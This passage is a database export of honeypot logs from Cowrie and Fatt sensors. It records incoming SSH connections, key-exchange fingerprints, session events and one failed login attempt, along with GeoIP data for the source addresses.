"ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "a40db5db1cd5", "@version": "1", "timestamp": "2021-09-20T11:06:36.319156Z", "@timestamp": "2021-09-20T11:06:36.319Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21231	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:36.449602+03	2021-09-20 14:15:03.396612+03	{"_id": "jQbiAnwBvYTbRNuE5wA8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "2811eb54717c", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:36.449602Z", "@timestamp": "2021-09-20T11:06:36.449Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21232	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:36.593348+03	2021-09-20 14:15:03.397613+03	{"_id": "jgbiAnwBvYTbRNuE5wA8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "1669e686d455", "@version": "1", "duration": 2.4920499324798584, "timestamp": "2021-09-20T11:06:36.593348Z", "@timestamp": "2021-09-20T11:06:36.593Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
21233	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:36.719062+03	2021-09-20 14:15:03.399613+03	{"_id": "jwbiAnwBvYTbRNuE5wA8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "def525b016c4", "@version": "1", "duration": 2.548001289367676, "timestamp": "2021-09-20T11:06:36.719062Z", "@timestamp": "2021-09-20T11:06:36.719Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21234	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:36.724656+03	2021-09-20 14:15:03.400612+03	{"_id": "kAbiAnwBvYTbRNuE5wA8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [user/demo] failed", "session": "83eb6cc6c96b", "@version": "1", "password": "demo", "username": "user", "timestamp": "2021-09-20T11:06:36.724656Z", "@timestamp": "2021-09-20T11:06:36.724Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21245	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:43.294859+03	2021-09-20 14:15:03.415613+03	{"_id": "7QbjAnwBvYTbRNuEAwEG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:40604 (192.168.176.2:22) [session: a247dfb3bbe2]", "session": "a247dfb3bbe2", "@version": "1", "protocol": "ssh", "src_port": 40604, "dest_port": 22, "timestamp": "2021-09-20T11:06:43.294859Z", "@timestamp": "2021-09-20T11:06:43.294Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
21235	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:36.743328+03	2021-09-20 14:15:03.401612+03	{"_id": "kQbiAnwBvYTbRNuE5wA8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "3b9958767162", "@version": "1", "timestamp": "2021-09-20T11:06:36.743328Z", "@timestamp": "2021-09-20T11:06:36.743Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21236	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:36.888386+03	2021-09-20 14:15:03.402613+03	{"_id": "kgbiAnwBvYTbRNuE5wA8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 13 seconds", "session": "42d94f72ba41", "@version": "1", "duration": 13.721898078918457, "timestamp": "2021-09-20T11:06:36.888386Z", "@timestamp": "2021-09-20T11:06:36.888Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21237	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:42.996227+03	2021-09-20 14:15:03.404613+03	{"_id": "rgbiAnwBvYTbRNuE_wEe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:49672 (192.168.176.2:22) [session: b7e753ab030f]", "session": "b7e753ab030f", "@version": "1", "protocol": "ssh", "src_port": 49672, "dest_port": 22, "timestamp": "2021-09-20T11:06:42.996227Z", "@timestamp": "2021-09-20T11:06:42.996Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21238	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:42.679506+03	2021-09-20 14:15:03.405613+03	{"_id": "pQbiAnwBvYTbRNuE_wEe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 58814, "timestamp": "2021-09-20T11:06:42.679506", "@timestamp": "2021-09-20T11:06:42.679Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21239	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:42.850703+03	2021-09-20 14:15:03.407614+03	{"_id": "nAbiAnwBvYTbRNuE_wEb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "c29d67f115fa", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:42.850703Z", "@timestamp": "2021-09-20T11:06:42.850Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21240	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:06:42.680401+03	2021-09-20 14:15:03.408613+03	{"_id": "0wbiAnwBvYTbRNuE_wEe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 58814, "dest_port": 22, "timestamp": "2021-09-20T11:06:42.680401", "@timestamp": "2021-09-20T11:06:42.680Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
21241	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:42.944142+03	2021-09-20 14:15:03.409613+03	{"_id": "1AbiAnwBvYTbRNuE_wEe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "aa2dee7db96d", "@version": "1", "timestamp": "2021-09-20T11:06:42.944142Z", "@timestamp": "2021-09-20T11:06:42.944Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
